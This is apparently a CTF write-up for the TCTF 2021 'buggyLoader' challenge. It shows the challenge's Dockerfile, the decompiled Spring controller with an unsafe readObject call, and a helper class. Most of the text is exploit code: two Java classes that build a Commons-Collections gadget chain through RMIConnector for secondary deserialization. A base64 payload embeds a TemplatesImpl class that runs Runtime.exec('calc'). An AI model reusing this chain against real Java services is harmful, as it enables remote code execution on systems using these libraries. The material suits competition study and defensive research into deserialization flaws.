TCTF 2021——buggyLoader(二次反序列化)

From openjdk:8u222-slim

RUN apt-get update -y \

    && apt-get install curl -y \

    && useradd ctf \

    && mkdir /opt/app

COPY buggyloader.jar /opt/app

COPY flag /flag

WORKDIR /opt/app

EXPOSE 8080

USER ctf

CMD ["java", "-jar", "/opt/app/buggyloader.jar"]

package BOOT-INF.classes.com.yxxx.javasec.deserialize;

import com.yxxx.javasec.deserialize.MyObjectInputStream;

import com.yxxx.javasec.deserialize.Utils;

import java.io.ByteArrayInputStream;

import java.io.InputStream;

import org.springframework.stereotype.Controller;

import org.springframework.ui.Model;

import org.springframework.web.bind.annotation.RequestMapping;

import org.springframework.web.bind.annotation.RequestParam;

@Controller

public class IndexController {

  @RequestMapping({"/basic"})

  public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {

    byte[] b = Utils.hexStringToBytes(data);

    InputStream inputStream = new ByteArrayInputStream(b);

    MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream);

    String name = myObjectInputStream.readUTF();

    int year = myObjectInputStream.readInt();

    if (name.equals("SJTU") && year == 1896)

      myObjectInputStream.readObject(); 

    return "index";

  }

}

package BOOT-INF.classes.com.yxxx.javasec.deserialize;

import java.io.IOException;

import java.io.InputStream;

import java.io.ObjectInputStream;

import java.io.ObjectStreamClass;

import java.net.URL;

import java.net.URLClassLoader;

import org.apache.commons.collections.Transformer;

public class MyObjectInputStream extends ObjectInputStream {

  private ClassLoader classLoader;

  public MyObjectInputStream(InputStream inputStream) throws Exception {

    super(inputStream);

    URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs();

    this.classLoader = new URLClassLoader(urls);

  }

  protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {

    Class<?> clazz = this.classLoader.loadClass(desc.getName());

    return clazz;

  }

}

package BOOT-INF.classes.com.yxxx.javasec.deserialize;

import java.io.ByteArrayOutputStream;

import java.io.ObjectOutputStream;

public class Utils {

  public static String bytesTohexString(byte[] bytes) {

    if (bytes == null)

      return null; 

    StringBuilder ret = new StringBuilder(2 * bytes.length);

    for (int i = 0; i < bytes.length; i++) {

      int b = 0xF & bytes[i] >> 4;

      ret.append("0123456789abcdef".charAt(b));

      b = 0xF & bytes[i];

      ret.append("0123456789abcdef".charAt(b));

    } 

    return ret.toString();

  }

  static int hexCharToInt(char c) {

    if (c >= '0' && c <= '9')

      return c - 48; 

    if (c >= 'A' && c <= 'F')

      return c - 65 + 10; 

    if (c >= 'a' && c <= 'f')

      return c - 97 + 10; 

    throw new RuntimeException("invalid hex char '" + c + "'");

  }

  public static byte[] hexStringToBytes(String s) {

    if (s == null)

      return null; 

    int sz = s.length();

    byte[] ret = new byte[sz / 2];

    for (int i = 0; i < sz; i += 2)

      ret[i / 2] = (byte)(hexCharToInt(s.charAt(i)) << 4 | hexCharToInt(s.charAt(i + 1))); 

    return ret;

  }

  public static String objectToHexString(Object obj) throws Exception {

    ByteArrayOutputStream bos = new ByteArrayOutputStream();

    ObjectOutputStream out = null;

    out = new ObjectOutputStream(bos);

    out.writeObject(obj);

    out.flush();

    byte[] bytes = bos.toByteArray();

    bos.close();

    String hex = bytesTohexString(bytes);

    return hex;

  }

}

package com.yxxx.javasec.deserialize;

import javax.management.remote.JMXServiceURL;

import javax.management.remote.rmi.RMIConnector;

import java.net.MalformedURLException;

import static marshalsec.util.Reflections.setFieldValue;

public class test {

    public static void main(String[] args) throws Exception {

        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");

        setFieldValue(jmxServiceURL, "urlPath", "/stub/rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADa2V5c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAACc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABrcr+ur4AAAAxABwBAARFdmlsBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAGPGluaXQ+BwADDAAWAAYKABcAGAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEAIQACAAQAAAAAAAIACAAFAAYAAQAHAAAAJQACAAEAAAARuAAPEhG2ABVXpwAHS6cAA7EAAQAAAAkADAAJAAAAAQAWAAYAAQAHAAAAEQABAAEAAAAFKrcAGbEAAAAAAAEAGgAAAAIAG3B0AANhYWFwdwEAeHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAUWwALaVBhcmFtVHlwZXNxAH4AE3hwcHQADm5ld1RyYW5zZm9ybWVycHNxAH4AAD9AAAAAAAAMdwgAAAAQAAAAAHh4dAADYmJieA==");

        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

        rmiConnector.connect();

    }

}

package com.yxxx.javasec.deserialize;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.keyvalue.TiedMapEntry;

import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;

import javax.management.remote.rmi.RMIConnector;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

import java.net.MalformedURLException;

import java.util.Base64;

import java.util.HashMap;

import java.util.Map;

import static marshalsec.util.Reflections.setFieldValue;

public class test {

    public static void main(String[] args) throws Exception {

        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");

        setFieldValue(jmxServiceURL, "urlPath", "/stub/rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADa2V5c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAACc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABrcr+ur4AAAAxABwBAARFdmlsBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAGPGluaXQ+BwADDAAWAAYKABcAGAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEAIQACAAQAAAAAAAIACAAFAAYAAQAHAAAAJQACAAEAAAARuAAPEhG2ABVXpwAHS6cAA7EAAQAAAAkADAAJAAAAAQAWAAYAAQAHAAAAEQABAAEAAAAFKrcAGbEAAAAAAAEAGgAAAAIAG3B0AANhYWFwdwEAeHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAUWwALaVBhcmFtVHlwZXNxAH4AE3hwcHQADm5ld1RyYW5zZm9ybWVycHNxAH4AAD9AAAAAAAAMdwgAAAAQAAAAAHh4dAADYmJieA==");

        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

       //rmiConnector.connect();

        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);

        HashMap<Object, Object> map = new HashMap<>();

        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);

        HashMap<Object, Object> map2 = new HashMap<>();

        map2.put(tiedMapEntry, "bbb");

        lazyMap.remove(rmiConnector);

        setFieldValue(lazyMap,"factory", invokerTransformer);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(bos);

        oos.writeObject(map2);

        oos.close();

        System.out.println(new String(Base64.getEncoder().encode(bos.toByteArray())));

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());

        ObjectInputStream ois = new ObjectInputStream(bis);

        ois.readObject();

        ois.close();

    }

}